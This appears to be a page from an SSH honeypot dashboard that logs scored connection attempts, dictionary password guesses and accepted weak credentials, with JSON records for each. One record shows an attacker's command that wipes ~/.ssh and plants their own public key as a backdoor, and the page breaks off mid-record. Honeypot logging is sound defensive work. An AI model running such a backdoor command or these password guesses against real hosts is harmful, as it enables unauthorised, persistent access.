Adversarial Observation Interface

69.5.169.211

2026-07-15 12:41:17.696741 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 33ec35acfc14

Client Version: SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.8

Engagement Duration: 0.3s

HASSH Fingerprint: bc9e7273cde22b1209d6673b5fd10bd5

{
  "id": "33ec35acfc14",
  "src_ip": "69.5.169.211",
  "start_time": "2026-07-15T12:41:17.696741Z",
  "end_time": "2026-07-15T12:41:18.025975Z",
  "duration": "0.3",
  "version": "SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.8",
  "hassh": "bc9e7273cde22b1209d6673b5fd10bd5",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

69.5.169.96

2026-07-15 12:40:56.236321 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 56b86e9bc2d9

Client Version: Unknown

Engagement Duration: 0.2s

{
  "id": "56b86e9bc2d9",
  "src_ip": "69.5.169.96",
  "start_time": "2026-07-15T12:40:56.236321Z",
  "end_time": "2026-07-15T12:40:56.401123Z",
  "duration": "0.2",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

195.178.110.137

2026-07-15 12:36:31.122590 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 5f74c5c9c599

Client Version: Unknown

Engagement Duration: 0.2s

{
  "id": "5f74c5c9c599",
  "src_ip": "195.178.110.137",
  "start_time": "2026-07-15T12:36:31.122590Z",
  "end_time": "2026-07-15T12:36:31.288967Z",
  "duration": "0.2",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

2.57.121.25

2026-07-15 12:35:58.687423 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / 20101994

Record ID: 690ac345d47f

Client Version: SSH-2.0-PuTTY_Release_0.84

Engagement Duration: 6.0s

HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9

{
  "id": "690ac345d47f",
  "src_ip": "2.57.121.25",
  "start_time": "2026-07-15T12:35:58.687423Z",
  "end_time": "2026-07-15T12:36:04.719064Z",
  "duration": "6.0",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "20101994"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

192.168.0.1

2026-07-15 12:16:23.747011 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 4ca288e14b1d

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "4ca288e14b1d",
  "src_ip": "192.168.0.1",
  "start_time": "2026-07-15T12:16:23.747011Z",
  "end_time": "2026-07-15T12:16:23.759435Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

124.160.173.22

2026-07-15 12:13:06.285496 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 85ad08788766

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.5s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "85ad08788766",
  "src_ip": "124.160.173.22",
  "start_time": "2026-07-15T12:13:06.285496Z",
  "end_time": "2026-07-15T12:13:07.761505Z",
  "duration": "1.5",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

124.160.173.22

2026-07-15 12:13:03.712914 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: df13dd40f6af

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.3s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "df13dd40f6af",
  "src_ip": "124.160.173.22",
  "start_time": "2026-07-15T12:13:03.712914Z",
  "end_time": "2026-07-15T12:13:06.058914Z",
  "duration": "2.3",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

124.160.173.22

2026-07-15 12:13:00.639837 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / Test12345

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: c30afb6497a9

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 7.1s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "c30afb6497a9",
  "src_ip": "124.160.173.22",
  "start_time": "2026-07-15T12:13:00.639837Z",
  "end_time": "2026-07-15T12:13:07.757679Z",
  "duration": "7.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "Test12345"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

103.61.122.229

2026-07-15 12:12:24.766278 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / *

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ hostname

Record ID: 2b23d1fae298

Client Version: SSH-2.0-Go

Engagement Duration: 1.5s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "2b23d1fae298",
  "src_ip": "103.61.122.229",
  "start_time": "2026-07-15T12:12:24.766278Z",
  "end_time": "2026-07-15T12:12:26.228484Z",
  "duration": "1.5",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "*"
  },
  "commands": [
    "hostname"
  ],
  "detailed_commands": [
    {
      "cmd": "hostname",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

193.46.255.86

2026-07-15 11:57:17.225373 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (3 distinct queries). Vector identities: ali

Record ID: 33825ce932c8

Client Version: SSH-2.0-PuTTY_Release_0.84

Engagement Duration: 4.2s

HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9

{
  "id": "33825ce932c8",
  "src_ip": "193.46.255.86",
  "start_time": "2026-07-15T11:57:17.225373Z",
  "end_time": "2026-07-15T11:57:21.431746Z",
  "duration": "4.2",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [
    {
      "user": "ali",
      "pass": "ali"
    },
    {
      "user": "ali",
      "pass": "123456"
    },
    {
      "user": "ali",
      "pass": "ali123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

2.57.121.112

2026-07-15 11:54:13.908532 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (5 distinct queries). Vector identities: jocelin

Record ID: 04ecefcbed85

Client Version: SSH-2.0-PuTTY_Release_0.84

Engagement Duration: 6.6s

HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9

{
  "id": "04ecefcbed85",
  "src_ip": "2.57.121.112",
  "start_time": "2026-07-15T11:54:13.908532Z",
  "end_time": "2026-07-15T11:54:20.521192Z",
  "duration": "6.6",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [
    {
      "user": "jocelin",
      "pass": "jocelin"
    },
    {
      "user": "jocelin",
      "pass": "jocelin1"
    },
    {
      "user": "jocelin",
      "pass": "jocelin123"
    },
    {
      "user": "jocelin",
      "pass": "jocelin1234"
    },
    {
      "user": "jocelin",
      "pass": "jocelin12345"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

176.53.159.196

2026-07-15 11:45:36.527845 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: support / support

Record ID: a91ce757f10c

Client Version: SSH-2.0-Go

Engagement Duration: 1.2s

HASSH Fingerprint: eff4c24daffc8532c160e86e5f006e53

{
  "id": "a91ce757f10c",
  "src_ip": "176.53.159.196",
  "start_time": "2026-07-15T11:45:36.527845Z",
  "end_time": "2026-07-15T11:45:37.688751Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "eff4c24daffc8532c160e86e5f006e53",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "support",
    "pass": "support"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

2.57.121.25

2026-07-15 11:39:05.263198 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / 210290

Record ID: 808b20ed3eb6

Client Version: SSH-2.0-PuTTY_Release_0.84

Engagement Duration: 6.0s

HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9

{
  "id": "808b20ed3eb6",
  "src_ip": "2.57.121.25",
  "start_time": "2026-07-15T11:39:05.263198Z",
  "end_time": "2026-07-15T11:39:11.293417Z",
  "duration": "6.0",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "210290"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

47.93.81.231

2026-07-15 11:09:38.719696 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 514c276bcfcc

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "514c276bcfcc",
  "src_ip": "47.93.81.231",
  "start_time": "2026-07-15T11:09:38.719696Z",
  "end_time": "2026-07-15T11:09:38.722944Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

135.237.127.45

2026-07-15 10:59:30.088142 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: a67d3ad1212b

Client Version: MGLNDD_184.98.7.228_22

Engagement Duration: 0.0s

{
  "id": "a67d3ad1212b",
  "src_ip": "135.237.127.45",
  "start_time": "2026-07-15T10:59:30.088142Z",
  "end_time": "2026-07-15T10:59:30.094034Z",
  "duration": "0.0",
  "version": "MGLNDD_184.98.7.228_22",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

135.237.127.45

2026-07-15 10:59:19.948622 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 067c71e0dec2

Client Version: Unknown

Engagement Duration: 10.1s

{
  "id": "067c71e0dec2",
  "src_ip": "135.237.127.45",
  "start_time": "2026-07-15T10:59:19.948622Z",
  "end_time": "2026-07-15T10:59:30.014955Z",
  "duration": "10.1",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

63.141.242.2

2026-07-15 10:54:10.323447 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: user / kisan

Record ID: 6f3f271ade31

Client Version: SSH-2.0-PuTTY_Release_0.70

Engagement Duration: 15.1s

HASSH Fingerprint: 0425c279610910d2d9aef3b285e59b86

{
  "id": "6f3f271ade31",
  "src_ip": "63.141.242.2",
  "start_time": "2026-07-15T10:54:10.323447Z",
  "end_time": "2026-07-15T10:54:25.418449Z",
  "duration": "15.1",
  "version": "SSH-2.0-PuTTY_Release_0.70",
  "hassh": "0425c279610910d2d9aef3b285e59b86",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "user",
    "pass": "kisan"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

193.46.255.86

2026-07-15 10:44:07.496439 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / gandalf

Record ID: dc51844b9740

Client Version: SSH-2.0-PuTTY_Release_0.84

Engagement Duration: 6.1s

HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9

{
  "id": "dc51844b9740",
  "src_ip": "193.46.255.86",
  "start_time": "2026-07-15T10:44:07.496439Z",
  "end_time": "2026-07-15T10:44:13.571212Z",
  "duration": "6.1",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "gandalf"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

2.57.121.25

2026-07-15 10:42:00.030184 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / 210591

Record ID: 5c5b5ba64996

Client Version: SSH-2.0-PuTTY_Release_0.84

Engagement Duration: 6.0s

HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9

{
  "id": "5c5b5ba64996",
  "src_ip": "2.57.121.25",
  "start_time": "2026-07-15T10:42:00.030184Z",
  "end_time": "2026-07-15T10:42:06.062358Z",
  "duration": "6.0",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "210591"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

65.49.1.52

2026-07-15 10:39:58.002346 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 8932f7dcdcb3

Client Version: {wP}\x86_[\x9e\xb8\xf4\xb8\x8aL\x92YZ\x9b_p\xc29\xc3P,j\x80\xee\xc5ax\xc0/\xc0+\xc0\xc0\xc0\xc0 \xc0\xc0

Engagement Duration: 0.0s

{
  "id": "8932f7dcdcb3",
  "src_ip": "65.49.1.52",
  "start_time": "2026-07-15T10:39:58.002346Z",
  "end_time": "2026-07-15T10:39:58.008008Z",
  "duration": "0.0",
  "version": "\u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003P}\u0013\\x86_[\\x9e\\xb8\\xf4\\xb8\\x8aL\\x92\fYZ\\x9b_p\\xc29\\xc3P,j\u0007\\x80\\xee\\xc5\bax\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

2.57.121.112

2026-07-15 10:38:09.780509 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (5 distinct queries). Vector identities: elysia

Record ID: eecacf60a2be

Client Version: SSH-2.0-PuTTY_Release_0.84

Engagement Duration: 6.6s

HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9

{
  "id": "eecacf60a2be",
  "src_ip": "2.57.121.112",
  "start_time": "2026-07-15T10:38:09.780509Z",
  "end_time": "2026-07-15T10:38:16.337043Z",
  "duration": "6.6",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [
    {
      "user": "elysia",
      "pass": "elysia"
    },
    {
      "user": "elysia",
      "pass": "elysia1"
    },
    {
      "user": "elysia",
      "pass": "elysia123"
    },
    {
      "user": "elysia",
      "pass": "elysia1234"
    },
    {
      "user": "elysia",
      "pass": "elysia12345"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

65.49.20.67

2026-07-15 10:37:29.673802 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 461cc79963dd

Client Version: GET / HTTP/1.1

Engagement Duration: 0.0s

{
  "id": "461cc79963dd",
  "src_ip": "65.49.20.67",
  "start_time": "2026-07-15T10:37:29.673802Z",
  "end_time": "2026-07-15T10:37:29.679625Z",
  "duration": "0.0",
  "version": "GET / HTTP/1.1",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

211.37.174.180

2026-07-15 10:35:28.564037 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 007131554fc6

Client Version: Unknown

Engagement Duration: 0.2s

{
  "id": "007131554fc6",
  "src_ip": "211.37.174.180",
  "start_time": "2026-07-15T10:35:28.564037Z",
  "end_time": "2026-07-15T10:35:28.722521Z",
  "duration": "0.2",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

176.53.159.196

2026-07-15 10:26:29.273594 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: support / support

Record ID: 57b04cc8cfb5

Client Version: SSH-2.0-Go

Engagement Duration: 1.2s

HASSH Fingerprint: eff4c24daffc8532c160e86e5f006e53

{
  "id": "57b04cc8cfb5",
  "src_ip": "176.53.159.196",
  "start_time": "2026-07-15T10:26:29.273594Z",
  "end_time": "2026-07-15T10:26:30.449641Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "eff4c24daffc8532c160e86e5f006e53",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "support",
    "pass": "support"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

198.235.24.220

2026-07-15 10:11:10.963212 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: a85f6a43ad9b

Client Version: SSH-2.0-ZGrab ZGrab SSH Survey

Engagement Duration: 3.2s

HASSH Fingerprint: dd9bcf093c355da7000132131cb36fd0

{
  "id": "a85f6a43ad9b",
  "src_ip": "198.235.24.220",
  "start_time": "2026-07-15T10:11:10.963212Z",
  "end_time": "2026-07-15T10:11:14.191371Z",
  "duration": "3.2",
  "version": "SSH-2.0-ZGrab ZGrab SSH Survey",
  "hassh": "dd9bcf093c355da7000132131cb36fd0",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

23.175.50.52

2026-07-15 10:10:44.565252 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: user / kisan

Record ID: ddddb9c74705

Client Version: SSH-2.0-PuTTY_Release_0.70

Engagement Duration: 13.9s

HASSH Fingerprint: 0425c279610910d2d9aef3b285e59b86

{
  "id": "ddddb9c74705",
  "src_ip": "23.175.50.52",
  "start_time": "2026-07-15T10:10:44.565252Z",
  "end_time": "2026-07-15T10:10:58.420734Z",
  "duration": "13.9",
  "version": "SSH-2.0-PuTTY_Release_0.70",
  "hassh": "0425c279610910d2d9aef3b285e59b86",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "user",
    "pass": "kisan"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

63.141.242.2

2026-07-15 10:09:22.907593 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: user / kisan

Record ID: 3ac51d64e157

Client Version: SSH-2.0-PuTTY_Release_0.70

Engagement Duration: 22.5s

HASSH Fingerprint: 0425c279610910d2d9aef3b285e59b86

{
  "id": "3ac51d64e157",
  "src_ip": "63.141.242.2",
  "start_time": "2026-07-15T10:09:22.907593Z",
  "end_time": "2026-07-15T10:09:45.390443Z",
  "duration": "22.5",
  "version": "SSH-2.0-PuTTY_Release_0.70",
  "hassh": "0425c279610910d2d9aef3b285e59b86",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "user",
    "pass": "kisan"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

170.64.167.72

2026-07-15 10:07:39.410138 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 587387000ec0

Client Version: SSH-2.0-OPENSSH_7.9

Engagement Duration: 0.6s

HASSH Fingerprint: b21d7cdcc8133dc2b430d1a039fece20

{
  "id": "587387000ec0",
  "src_ip": "170.64.167.72",
  "start_time": "2026-07-15T10:07:39.410138Z",
  "end_time": "2026-07-15T10:07:40.033898Z",
  "duration": "0.6",
  "version": "SSH-2.0-OPENSSH_7.9",
  "hassh": "b21d7cdcc8133dc2b430d1a039fece20",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

2.57.121.25

2026-07-15 09:44:52.044588 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / 21101976

Record ID: edad32951d05

Client Version: SSH-2.0-PuTTY_Release_0.84

Engagement Duration: 6.0s

HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9

{
  "id": "edad32951d05",
  "src_ip": "2.57.121.25",
  "start_time": "2026-07-15T09:44:52.044588Z",
  "end_time": "2026-07-15T09:44:58.088237Z",
  "duration": "6.0",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "21101976"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

23.175.50.52

2026-07-15 09:41:27.477366 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: user / kisan

Record ID: 7f54b301a556

Client Version: SSH-2.0-PuTTY_Release_0.70

Engagement Duration: 18.8s

HASSH Fingerprint: 0425c279610910d2d9aef3b285e59b86

{
  "id": "7f54b301a556",
  "src_ip": "23.175.50.52",
  "start_time": "2026-07-15T09:41:27.477366Z",
  "end_time": "2026-07-15T09:41:46.237256Z",
  "duration": "18.8",
  "version": "SSH-2.0-PuTTY_Release_0.70",
  "hassh": "0425c279610910d2d9aef3b285e59b86",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "user",
    "pass": "kisan"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

118.196.27.11

2026-07-15 09:39:01.727374 UTC

RECONNAISSANCE COMMANDS RUN SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: root / ---fuck_you----

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -m

Record ID: d7c235b9260f

Client Version: SSH-2.0-Go

Engagement Duration: 1.3s

HASSH Fingerprint: 98f63c4d9c87edbd97ed4747fa031019

{
  "id": "d7c235b9260f",
  "src_ip": "118.196.27.11",
  "start_time": "2026-07-15T09:39:01.727374Z",
  "end_time": "2026-07-15T09:39:03.021859Z",
  "duration": "1.3",
  "version": "SSH-2.0-Go",
  "hassh": "98f63c4d9c87edbd97ed4747fa031019",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "---fuck_you----"
  },
  "commands": [
    "uname -s -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "RECONNAISSANCE",
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

118.196.27.11

2026-07-15 09:38:53.337535 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 0be6dd044d85

Client Version: Unknown

Engagement Duration: 4.9s

{
  "id": "0be6dd044d85",
  "src_ip": "118.196.27.11",
  "start_time": "2026-07-15T09:38:53.337535Z",
  "end_time": "2026-07-15T09:38:58.267918Z",
  "duration": "4.9",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

193.46.255.86

2026-07-15 09:30:48.763850 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / 12345

Record ID: 24a7e5c2a0c7

Client Version: SSH-2.0-PuTTY_Release_0.84

Engagement Duration: 6.0s

HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9

{
  "id": "24a7e5c2a0c7",
